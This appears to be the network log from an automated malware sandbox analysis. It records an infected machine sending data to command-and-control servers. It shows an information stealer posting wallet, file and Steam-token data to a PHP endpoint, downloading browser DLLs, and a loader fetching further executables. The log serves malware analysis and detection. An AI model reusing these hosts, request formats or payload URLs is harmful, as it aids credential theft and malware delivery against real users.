Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="message"fplugins------FCBFBGDBKJKECAAKKFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDGHost: 185.215.113.206Content-Length: 7771Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBAHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file"------IDHCGDAFBKFIDHJJJDHC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEHHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 2d 2d 0d 0a Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="message"wallets------AEGHIJEHJDHIDHIDAEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"files------FBFCGIDAKECGCBGDBAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="file"------DHCGIDHDAKJECBFHCBAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 2d 2d 0d 0a Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="message"ybncbhylepme------KJEBKJDAFHJDGDHJKKEG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJKKKJJJKJKFHJJJJECHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 2d 2d 0d 0a Data Ascii: ------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------JKJKKKJJJKJKFHJJJJECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKJKKKJJJKJKFHJJJJEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005812001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005813001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 20:08:55 GMTIf-None-Match: "6733b5d7-1ba400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build"mars------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 31 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005814031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 38 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005815001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 46 49 49 4a 4a 4b 4a 4a 4a 4a 4a 4a 45 47 44 41 2d 2d 0d 0a Data Ascii: ------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------EBAKFIIJJKJJJJJJEGDAContent-Disposition: form-data; name="build"mars------EBAKFIIJJKJJJJJJEGDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 45 37 33 42 38 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32E73B85082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
